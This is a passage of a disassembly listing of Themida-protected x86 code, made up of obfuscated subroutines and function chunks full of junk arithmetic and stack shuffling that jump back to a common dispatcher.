mov ecx, 28h
jmp sub_59128B
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_590677 proc near ; CODE XREF: sub_59196D-2878j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 0
add edx, ecx
push ebx
mov ebx, 0
add ebx, edx
add dword ptr [ebx], 1
jmp loc_594C7B
sub_590677 endp
; =============== S U B R O U T I N E =======================================
sub_59069A proc near ; CODE XREF: sub_59196D+6931j
; FUNCTION CHUNK AT 0058C5EB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058EBB2 SIZE 0000000A BYTES
push ebx
jmp loc_58EBB2
sub_59069A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5906A0: ; CODE XREF: sub_59196D+677Ej
mov ebx, esi
mov edi, ebx
pop ebx
jmp loc_58B68D
; ---------------------------------------------------------------------------
loc_5906AA: ; CODE XREF: sub_59196D+3578j
xchg esi, ecx
jmp loc_596CF2
; ---------------------------------------------------------------------------
loc_5906B1: ; CODE XREF: sub_59196D-2488j
; sub_59196D+1357j
push dword ptr [esp+4]
pop esi
pop [esp+12h+var_12]
pop esp
add eax, 4
push eax
push [esp+0Eh+var_C+2]
pop eax
jmp loc_58BCF4
; ---------------------------------------------------------------------------
loc_5906C8: ; CODE XREF: sub_59196D-3DCCj
add [esp+4], edi
sub dword ptr [esp+4], 584349E2h
pop edi
jmp loc_592136
; ---------------------------------------------------------------------------
loc_5906DA: ; CODE XREF: sub_59196D-1DBj
shl ecx, 6
inc ecx
sub ecx, 0C854FA8Dh
xor ebx, ecx
jmp loc_596ACC
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_5906EB proc near ; CODE XREF: sub_59196D+37D9j
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058CFD7 SIZE 00000014 BYTES
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
push ecx
jmp loc_58CFD7
sub_5906EB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5906FA: ; CODE XREF: sub_59196D+1D8Dj
mov esp, [esp+0]
push ebx
push esi
mov esi, 3242F93h
push 2BA7C4D1h
pop ebx
push edi
mov edi, 5C6367EFh
neg edi
jmp loc_58F404
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_590717 proc near ; CODE XREF: sub_59196D+6BD9j
push ebp
push eax
jmp loc_595EC5
sub_590717 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59071E: ; CODE XREF: sub_59196D+834j
pop ecx
sub eax, 31091AE4h
add eax, esi
jmp loc_592812
; ---------------------------------------------------------------------------
loc_59072B: ; CODE XREF: sub_59196D+3689j
pop dword ptr [edi+20h]
jmp loc_593256
; ---------------------------------------------------------------------------
loc_590733: ; CODE XREF: sub_59196D+387Bj
neg dl
neg dl
push ebx
mov bl, 7
inc bl
shr bl, 1
sub bl, 1Bh
shr bl, 3
and bl, 5Bh
add bl, 9Eh
add dl, bl
pop ebx
add al, dl
jmp loc_58F7E0
; ---------------------------------------------------------------------------
loc_590754: ; CODE XREF: sub_59196D-462Bj
mov ecx, 4
jmp loc_5946A8
; ---------------------------------------------------------------------------
loc_59075E: ; CODE XREF: sub_59196D-118Dj
mov [esp+4Ah+var_4A], ebp
sub esp, 4
jmp loc_594B09
; ---------------------------------------------------------------------------
loc_59076C: ; CODE XREF: sub_59196D-2C2Ej
add eax, ebx
pop ebx
add eax, 4
xchg eax, [esp+14h+var_16+2]
pop esp
push esi
mov esi, esp
add esi, 4
jmp loc_594F8E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B60E
loc_590786: ; CODE XREF: sub_58B60E+4E80j
push [esp+arg_0]
mov ecx, [esp+4+var_4]
jmp loc_5937AD
; END OF FUNCTION CHUNK FOR sub_58B60E
; =============== S U B R O U T I N E =======================================
sub_590792 proc near ; DATA XREF: Themida_:0058B1E8o
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058B444 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B695 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058BF3E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058C3C8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058C6A9 SIZE 00000028 BYTES
lodsb
add al, 9Eh
sub al, 12h
add al, bl
add al, 12h
push ebx
push ecx
push ebx
mov bl, 95h
push edx
jmp loc_58BF3E
sub_590792 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5907A6: ; CODE XREF: sub_59196D+1A8Fj
add edi, 4
sub edi, 4
xchg edi, [esp+14h+var_16+2]
pop esp
mov [esp+10h+var_12+2], edx
push ebx
mov ebx, 704F179Fh
push ebx
mov ebx, 39661A53h
jmp loc_5948A0
; ---------------------------------------------------------------------------
loc_5907C7: ; CODE XREF: sub_59196D-670j
add edi, eax
sub edi, 77FB6DDFh
mov eax, [esp+18h+var_1A+2]
add esp, 4
and eax, edi
mov edi, [esp+14h+var_16+2]
sub esp, 4
jmp loc_59075E
; ---------------------------------------------------------------------------
loc_5907E5: ; CODE XREF: sub_59196D-5483j
add esp, 4
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5907ED: ; CODE XREF: sub_59196D+3418j
push edx
push esi
mov esi, 14CE3803h
shl esi, 2
and esi, 593500AAh
and esi, 619F0758h
push ebx
jmp loc_58CCEA
; ---------------------------------------------------------------------------
loc_590809: ; CODE XREF: sub_59196D-3F90j
push edx
mov edx, 77106B4Ch
jmp loc_591C06
; ---------------------------------------------------------------------------
loc_590814: ; CODE XREF: sub_59196D-563Bj
mov edi, ebx
pop ebx
sub ebp, 74C248A8h
add ebp, edi
add ebp, 74C248A8h
pop edi
push eax
push ebx
mov ebx, 56EB55C0h
push esi
jmp loc_590F23
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_590833: ; CODE XREF: Themida_:0058D817j
add esp, 4
jmp loc_590994
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59083B: ; CODE XREF: sub_59196D+4FB8j
add eax, 7BD620AFh
push edi
mov edi, 24657CE9h
sub edi, 1
add edi, 2A5E272Fh
push 2F85h
jmp loc_59363B
; ---------------------------------------------------------------------------
loc_59085C: ; CODE XREF: sub_59196D+65D6j
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+28h+var_2A+2]
pop esp
sub esp, 4
mov [esp+28h+var_2A+2], edi
push eax
mov eax, 68B848B4h
mov edi, 9747B84Ch
jmp loc_5912F7
; ---------------------------------------------------------------------------
loc_590885: ; CODE XREF: sub_59196D+FFCj
mov edi, [esp+2Ch+var_2E+2]
add esp, 4
pop ecx
add eax, esi
pop esi
push ebp
push edi
jmp loc_59181F
; ---------------------------------------------------------------------------
loc_590899: ; CODE XREF: sub_59196D-5BC9j
mov edi, 2DDC7C2Bh
shl edi, 8
shr edi, 6
xor edi, 6C688D72h
sub ecx, edi
jmp loc_595D44
; ---------------------------------------------------------------------------
loc_5908B1: ; CODE XREF: sub_59196D+1CC9j
mov dl, 90h
jmp loc_597211
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B85F
loc_5908B8: ; CODE XREF: sub_58B85F+6j
mov [esp+4+var_4], esi
mov esi, 194C3F9Ah
add esi, 540E6678h
push ecx
mov ecx, 12569C5h
inc ecx
neg ecx
sub ecx, 917FF024h
xor esi, ecx
pop ecx
jmp loc_5931DE
; END OF FUNCTION CHUNK FOR sub_58B85F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5908DD: ; CODE XREF: sub_59196D-583Aj
dec al
jmp loc_592363
; ---------------------------------------------------------------------------
loc_5908E4: ; CODE XREF: sub_59196D-2BB0j
add edx, 2
xor edx, [esp+24h+var_26+2]
xor [esp+24h+var_26+2], edx
xor edx, [esp+24h+var_26+2]
mov esp, [esp+24h+var_26+2]
sar word ptr [esp+24h+var_26+2], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_5908FD: ; CODE XREF: sub_59196D+293Dj
mov esi, 291A24ECh
jmp loc_58DB6C
; ---------------------------------------------------------------------------
loc_590907: ; CODE XREF: sub_59196D+4B7Bj
xor [esp+28h+var_2A+2], 612D18C2h
pop esi
xor esi, 612D18C2h
jmp loc_58E825
; ---------------------------------------------------------------------------
loc_59091A: ; CODE XREF: sub_59196D-1ED5j
mov ebp, 10CB7752h
sub edx, 4A41659h
add edx, 0A842F74h
sub edx, ebp
jmp loc_58EEDA
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_590932 proc near ; CODE XREF: sub_59196D-891j
var_4 = dword ptr -4
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp+4+var_4]
pop esp
jmp loc_58B37B
sub_590932 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_59094A: ; CODE XREF: sub_59196D+4A85j
jmp loc_58F812
; ---------------------------------------------------------------------------
loc_59094F: ; CODE XREF: sub_59196D+4610j
sub edx, 41AE7914h
sub edx, 0FAC135Eh
push esi
mov esi, 679806B0h
dec esi
shr esi, 8
and esi, 2D766747h
not esi
sub esi, 0C542F762h
sub edx, esi
pop esi
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_59097B: ; CODE XREF: sub_59196D-2465j
; sub_59196D+6B5Aj
or eax, 5A07146Eh
jmp loc_592724
; ---------------------------------------------------------------------------
loc_590985: ; CODE XREF: sub_59196D-198Aj
mov [esp+0Ah+var_C+2], ebp
mov ebp, 18FD62F6h
neg ebp
jmp loc_5973E2
; ---------------------------------------------------------------------------
loc_590994: ; CODE XREF: Themida_:00590836j
; sub_59196D+60Fj
add eax, 5B413D92h
sub eax, ebx
sub eax, 5B413D92h
push edi
push 21BDh
mov [esp+12h+var_12], ebp
push 4B9A6AB4h
pop ebp
push ebp
xor [esp+16h+var_16], 57B36C44h
pop edi
jmp loc_5943F3
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_5909BD proc near ; CODE XREF: sub_59196D-4DB4j
; FUNCTION CHUNK AT 0058E4D1 SIZE 00000017 BYTES
push ebp
jmp loc_58E4D1
sub_5909BD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_5909C3: ; CODE XREF: sub_59196D+755j
xor dx, 3BCCh
mov di, dx
jmp loc_5932E0
; ---------------------------------------------------------------------------
loc_5909D0: ; CODE XREF: sub_59196D-1359j
sub ecx, 4
xchg ecx, [esp+0Ch+var_C]
jmp loc_590168
; ---------------------------------------------------------------------------
loc_5909DE: ; CODE XREF: sub_59196D+1DC9j
jl loc_58DDF9
push ecx
xor [esp+10h+var_12+2], eax
xor eax, [esp+10h+var_12+2]
xor [esp+10h+var_12+2], eax
not eax
xchg eax, [esp+10h+var_12+2]
mov ecx, [esp+10h+var_12+2]
add esp, 4
sub ecx, 655D23F4h
jp loc_59278E
xor ecx, 1EFF2096h
push edx
jmp loc_593127
; ---------------------------------------------------------------------------
loc_590A14: ; CODE XREF: sub_59196D+2CA4j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_590A19: ; CODE XREF: sub_59196D+24F9j
pop ebx
jmp loc_590AD3
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_590A1F: ; DATA XREF: Themida_:0058B0B4o
push edx
jmp loc_595471
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590A25: ; CODE XREF: sub_59196D-4392j
mov edx, 2
add ebx, edx
pop edx
push ebx
push dword ptr [esp+4]
pop ebx
pop [esp+12h+var_12]
pop esp
jmp loc_590081
; ---------------------------------------------------------------------------
loc_590A3C: ; CODE XREF: sub_59196D+33ECj
pop edi
sub eax, 5CCA7E56h
jmp loc_5960E7
; ---------------------------------------------------------------------------
loc_590A47: ; CODE XREF: sub_59196D+386Cj
sub esi, 36C90AF4h
mov ebp, [esp+6+var_8+2]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0Ah+var_C+2]
pop esp
add esi, 4
xchg esi, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
push 1
push [esp+0Ah+var_C+2]
push dword ptr [esp+0]
mov eax, [esp+12h+var_12]
add esp, 4
jmp loc_58B515
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590A95: ; CODE XREF: sub_59196D+1E23j
xchg ecx, [esp+0]
mov esp, [esp+0]
mov [esp+0], ebp
push 41BA65ECh
pop ebp
jmp loc_592411
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_590AA9: ; CODE XREF: Themida_:0058EE79j
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590AAE: ; CODE XREF: sub_59196D-14E6j
push edx
push ebp
pop edx
push [esp+40h+var_40]
pop ebp
add esp, 4
jmp loc_58F01B
; ---------------------------------------------------------------------------
loc_590ABD: ; CODE XREF: sub_59196D-D98j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_590AC2: ; CODE XREF: sub_59196D+EA0j
add esi, 4
add esi, 4
xchg esi, [esp+3Ch+var_3C]
jmp loc_5913B0
; ---------------------------------------------------------------------------
loc_590AD3: ; CODE XREF: sub_59196D-F53j
push 40F7h
jmp loc_593003
; ---------------------------------------------------------------------------
loc_590ADD: ; CODE XREF: sub_59196D-E88j
pop edx
jmp loc_58BE4C
; ---------------------------------------------------------------------------
loc_590AE3: ; CODE XREF: sub_59196D-154Bj
xor eax, edx
jmp loc_590ADD
; ---------------------------------------------------------------------------
loc_590AEA: ; CODE XREF: sub_59196D+180Ej
sub al, 40h
mov cx, [esp+0]
add esp, 2
xor bl, al
jmp loc_596519
; ---------------------------------------------------------------------------
loc_590AFA: ; CODE XREF: sub_59196D-1EF3j
jmp loc_592347
; ---------------------------------------------------------------------------
loc_590AFF: ; CODE XREF: sub_59196D+3E46j
xchg ebx, [esp+1Ch+var_1E+2]
pop esp
shr eax, 1
shl eax, 2
shl eax, 6
jmp loc_59050F
; ---------------------------------------------------------------------------
loc_590B10: ; CODE XREF: sub_59196D+1CF9j
shl eax, 2
or eax, 61E14AEBh
add eax, 961E8115h
add ebp, eax
pop eax
jmp loc_592407
; ---------------------------------------------------------------------------
loc_590B25: ; CODE XREF: sub_59196D+24A7j
sub eax, 14B1763h
pop ebp
push edi
mov edi, 2
sub eax, 31F529DCh
push ecx
mov ecx, 6DE31FD5h
shr ecx, 3
xor ecx, 58B3A6Ah
shr ecx, 1
sub ecx, 0AAD1827h
and ecx, 270A0229h
add ecx, 5DA70C8Fh
jmp loc_58FE4C
; ---------------------------------------------------------------------------
loc_590B5E: ; CODE XREF: sub_59196D-6551j
jo loc_5927E3
or eax, 9687297h
jg loc_593E4A
inc eax
jge loc_5915E2
jmp loc_58DDE5
; ---------------------------------------------------------------------------
loc_590B7B: ; CODE XREF: sub_59196D+51DCj
add esi, 305D676Ch
add esi, 0E0C9FDD5h
add eax, esi
jmp loc_5953A8
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_590B8E proc near ; DATA XREF: Themida_:0058B1A4o
mov cx, [esp+0]
push ebp
mov ebp, esp
jmp loc_5960F1
sub_590B8E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590B9A: ; CODE XREF: sub_59196D-4611j
shl eax, 7
push ecx
mov ecx, 0FFFFFFFFh
sub eax, ecx
jmp loc_591443
; ---------------------------------------------------------------------------
loc_590BAA: ; CODE XREF: sub_59196D-BFEj
; sub_59196D+73Dj
mov ch, 87h
mov dh, ch
pop ecx
or dh, 0A6h
not dh
push 1E1Dh
mov [esp+4Eh+var_4E], ebx
mov bh, 2Ch
add dh, bh
pop ebx
sub bl, dh
pop edx
add bl, al
push small 6F3Ch
jmp loc_5900CA
; ---------------------------------------------------------------------------
loc_590BCF: ; CODE XREF: sub_59196D-4BF4j
mov esp, [esp+3Eh+var_40+2]
cmp ecx, eax
pushf
jmp loc_590ABD
; ---------------------------------------------------------------------------
loc_590BDA: ; CODE XREF: sub_59196D-2795j
pop ebx
jmp loc_5966C6
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_590BE0 proc near ; CODE XREF: sub_59196D+514Cj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058B643 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058BDCF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058FC9A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00590FA4 SIZE 0000001B BYTES
push ebx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
pop esp
push 7823h
jmp loc_590FA4
sub_590BE0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590BFE: ; CODE XREF: sub_59196D-5j
xor esi, ecx
pop ecx
add ebp, esi
pop esi
xchg ebp, [esp+14h+var_16+2]
mov esp, [esp+14h+var_16+2]
bt word ptr [esp+14h+var_16+2], ax
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_590C15: ; CODE XREF: sub_59196D+1F12j
mov esp, [esp+18h+var_1A+2]
shl word ptr [esp+18h+var_1A+2], cl
pushf
jmp loc_58B37B
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_590C22: ; DATA XREF: Themida_:0058B1DCo
movzx ax, byte ptr [edx]
push 7B7Dh
mov [esp], ecx
push esp
pop ecx
push esi
mov esi, 4
add ecx, esi
pop esi
jmp loc_58F3CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590C3E: ; CODE XREF: sub_59196D+1F26j
add edx, 4
push esi
mov esi, 4
add edx, esi
jmp loc_596CE3
; ---------------------------------------------------------------------------
loc_590C51: ; CODE XREF: sub_59196D+3580j
mov eax, [esp+20h+var_22+2]
add esp, 4
sub esp, 4
mov [esp+20h+var_22+2], edi
jmp loc_58C138
; ---------------------------------------------------------------------------
loc_590C68: ; CODE XREF: sub_59196D-5D8j
add esi, ecx
pop ecx
sub edx, 29C86F8Dh
jmp loc_592C9B
; ---------------------------------------------------------------------------
loc_590C76: ; CODE XREF: sub_59196D+660Bj
sub eax, 59A9657Bh
sub eax, ebp
add eax, 59A9657Bh
push edx
mov edx, 4CD95517h
sub eax, edx
mov edx, [esp+20h+var_22+2]
add esp, 4
add eax, 0EE15503h
jmp loc_58C7F7
; ---------------------------------------------------------------------------
loc_590C9A: ; CODE XREF: sub_59196D+3D7Cj
mov esp, [esp+1Ch+var_1E+2]
jmp loc_58B839
; ---------------------------------------------------------------------------
loc_590CA2: ; CODE XREF: sub_59196D+54B8j
add ebx, 0E7C0126h
add ebx, 0DA4FCFDBh
push edi
push eax
mov eax, 42A0936h
mov edi, eax
jmp loc_597B3D
; ---------------------------------------------------------------------------
loc_590CBC: ; CODE XREF: sub_59196D+3626j
mov [esp+24h+var_26+2], ebx
mov ebx, 4
add esi, ebx
jmp loc_5957F6
; ---------------------------------------------------------------------------
loc_590CCB: ; CODE XREF: sub_59196D+12CFj
mov [esp+24h+var_26+2], ebx
push [esp+24h+var_22+2]
pop ebx
pop [esp+24h+var_26+2]
jmp loc_5959DD
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_590CDB proc near ; CODE XREF: sub_590438+10j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058C87D SIZE 00000014 BYTES
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
push eax
mov eax, 4
add ebp, eax
pop eax
xchg ebp, [esp+4+var_4]
jmp loc_58C87D
sub_590CDB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590CFD: ; CODE XREF: sub_59196D+43D2j
push esp
jmp loc_5936E7
; ---------------------------------------------------------------------------
loc_590D03: ; CODE XREF: sub_59196D+2143j
shl ch, 5
add ch, 14h
sub bl, ch
pop ecx
sub al, bl
mov ebx, [esp+20h+var_22+2]
add esp, 4
push dx
push ebx
mov bl, 0E0h
push ecx
mov ch, 8Ah
push 0
sub byte ptr [esp+2Ah+var_2A], ch
mov ch, byte ptr [esp+2Ah+var_2A]
add esp, 4
shr ch, 3
add ch, 0CCh
and bl, ch
pop ecx
inc bl
js loc_596EFF
add bl, 66h
push eax
mov al, 0E6h
jmp loc_59519E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop ecx
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590D4A: ; CODE XREF: sub_59196D-1AF8j
add ebx, esi
mov esi, [esp+14h+var_16+2]
jmp loc_5981CE
; ---------------------------------------------------------------------------
loc_590D54: ; CODE XREF: sub_59196D+1817j
sub al, ch
sub al, 70h
push [esp+14h+var_16+2]
push [esp+18h+var_1A+2]
pop ecx
add esp, 4
add esp, 4
push edx
sub esp, 4
mov [esp+18h+var_1A+2], ecx
jmp loc_590BAA
; ---------------------------------------------------------------------------
loc_590D74: ; CODE XREF: sub_59196D-519Aj
add bx, 4002h
push 4535h
mov [esp+42h+var_44+2], ecx
mov cx, 57D6h
shr cx, 2
xor cx, 19B8h
sub bx, cx
mov ecx, [esp+42h+var_44+2]
add esp, 4
add bx, ax
push dx
mov dx, 0C4Dh
add bx, dx
mov dx, word ptr [esp+40h+var_40]
add esp, 2
push si
push ebx
mov bx, 731h
push edx
mov dx, 49C0h
add dx, 201Fh
jmp loc_58C34F
; ---------------------------------------------------------------------------
loc_590DC0: ; CODE XREF: sub_59196D+1F6Cj
push ecx
push eax
push ebx
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
push edx
mov edx, 4
jmp loc_59755A
; ---------------------------------------------------------------------------
loc_590DDA: ; CODE XREF: sub_59196D:loc_591717j
neg esi
xor esi, 0FB636B2h
add dword ptr [esp+4], 0BEC02DAh
add dword ptr [esp+4], 587F67BBh
add [esp+4], esi
push ebp
mov ebp, 587F67BBh
sub [esp+8], ebp
pop ebp
push 703Ch
mov [esp+5Eh+var_60+2], ebx
mov ebx, 0BEC02DAh
jmp loc_58D568
; ---------------------------------------------------------------------------
loc_590E13: ; CODE XREF: sub_59196D-4B24j
mov [esp+24h+var_26+2], edi
sub esp, 4
mov [esp+28h+var_2A+2], esp
sub esp, 4
mov [esp+2Ch+var_2E+2], edi
mov edi, 4
add [esp+2Ch+var_2A+2], edi
jmp loc_591763
; ---------------------------------------------------------------------------
loc_590E36: ; CODE XREF: sub_59196D-5400j
add ebp, 0A0E74CFEh
sub ebx, 39856D1Dh
add ebx, ebp
add ebx, 39856D1Dh
pop ebp
xchg ebx, [esp+0Ah+var_C+2]
pop esp
mov ax, word ptr [esp+6+var_8+2]
push edi
mov edi, esp
push 1947h
mov [esp+0], edx
mov edx, 694C34ACh
push ebx
mov ebx, 766C1A21h
jmp loc_59173D
; ---------------------------------------------------------------------------
loc_590E6E: ; CODE XREF: sub_59196D+2110j
add dl, 0FFh
jmp loc_596A41
; ---------------------------------------------------------------------------
loc_590E76: ; CODE XREF: sub_59196D+4749j
mov edi, [esp+12h+var_12]
jmp loc_591E32
; ---------------------------------------------------------------------------
loc_590E7E: ; CODE XREF: sub_59196D-1D43j
; sub_59196D+1D75j
push edx
push ebx
sub [esp+18h+var_1A+2], 33CC6844h
jmp loc_5976AF
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
mov [esp], ebx
jmp loc_5939E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590E98: ; CODE XREF: sub_59196D+4742j
push edx
mov dl, 0F5h
jmp loc_59757F
; ---------------------------------------------------------------------------
loc_590EA0: ; CODE XREF: sub_59196D-705j
pop edx
neg edx
jge loc_5925A2
and edx, 2FC17A04h
jo loc_596E2A
mov bl, 7
loc_590EB7: ; CODE XREF: sub_59196D-4892j
movzx eax, al
push dword ptr [edi+eax*4]
push eax
mov eax, 30290E8Dh
xor [esp+20h+var_1E+2], eax
jmp loc_595688
; ---------------------------------------------------------------------------
loc_590ECC: ; CODE XREF: sub_59196D-48D7j
add esp, 4
sub ebx, 67280549h
add ebx, 313F7E33h
jmp loc_58D02E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
push edx
push ebp
push 7B149Bh
mov ebp, [esp]
push edx
push esp
jmp loc_592877
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590EF4: ; CODE XREF: sub_59196D-6216j
pop eax
jmp loc_5925F5
; ---------------------------------------------------------------------------
loc_590EFA: ; CODE XREF: sub_59196D+10B4j
push eax
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+24h+var_26+2]
pop esp
jmp loc_58C30E
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_590F10: ; DATA XREF: Themida_:0058B0A0o
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], ebp
mov ebp, esp
push edi
push ebx
jmp loc_595C86
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590F23: ; CODE XREF: sub_59196D-113Fj
mov esi, ebx
mov eax, esi
pop esi
pop ebx
neg eax
shl eax, 2
jmp loc_58C6DD
; ---------------------------------------------------------------------------
loc_590F33: ; CODE XREF: sub_59196D+137Cj
xor edi, [esp+14h+var_16+2]
jmp loc_58D945
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
push 3077h
mov [esp], ebx
jmp loc_58F9DC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590F51: ; CODE XREF: sub_59196D-4DE1j
mov bl, 0EBh
shr bl, 4
shr bl, 3
jmp loc_594718
; ---------------------------------------------------------------------------
loc_590F5E: ; CODE XREF: sub_59196D-8Bj
not ch
xchg dl, ch
not dl
jmp loc_58E85B
; ---------------------------------------------------------------------------
loc_590F69: ; CODE XREF: sub_59196D+1B17j
xchg eax, [esp+28h+var_2A+2]
pop esp
mov [esp+24h+var_26+2], edi
mov edi, 2
jmp loc_58D452
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_590F7A proc near ; CODE XREF: sub_59196D+61BEj
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], esi
jmp loc_592E7E
sub_590F7A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590F88: ; CODE XREF: sub_59196D+3CA4j
shr ecx, 2
jnz loc_5925C9
add ecx, 2771231Dh
push esi
mov esi, ecx
pop ecx
loc_590F9B: ; CODE XREF: sub_59196D-4E3Cj
pop esp
xchg eax, [esp+20h+var_22+2]
jmp loc_58F440
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590BE0
loc_590FA4: ; CODE XREF: sub_59196D-32D6j
; sub_590BE0+19j
mov [esp+0], esp
add dword ptr [esp+0], 4
pop dword ptr [esp+0]
add dword ptr [esp+0], 4
push dword ptr [esp+0]
pop ebx
push edx
jmp loc_58FC9A
; END OF FUNCTION CHUNK FOR sub_590BE0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_590FBF: ; CODE XREF: sub_59196D+49AEj
push ecx
mov ecx, 4
add eax, ecx
jmp loc_593DDB
; ---------------------------------------------------------------------------
loc_590FCC: ; CODE XREF: sub_59196D+5C39j
mov [esp+24h+var_26+2], edx
mov edx, esp
push 6279h
mov [esp+28h+var_2A+2], ebx
push 4
mov ebx, [esp+2Ch+var_2E+2]
add esp, 4
add edx, 9D26D58h
add edx, ebx
jmp loc_595779
; ---------------------------------------------------------------------------
loc_590FF1: ; CODE XREF: sub_59196D-1940j
push 0E0F09E1h
pop ecx
xchg esi, ecx
not esi
jmp loc_58F0D0
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_591000 proc near ; CODE XREF: sub_59196D+131Fj
sub esp, 4
jmp loc_593C68
sub_591000 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_591008: ; CODE XREF: sub_59196D+6BC4j
pop esi
add ecx, 6CE8A1C5h
add ebx, ecx
pop ecx
xchg ebx, [esp+8+var_8]
pop esp
push ebp
mov ebp, 32321166h
sub ecx, ebp
pop ebp
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_595F29
; ---------------------------------------------------------------------------
loc_591033: ; CODE XREF: sub_59196D+25A4j
sub eax, 259B02Ch
mov ebx, eax
pop eax
jmp loc_5922A4
; ---------------------------------------------------------------------------
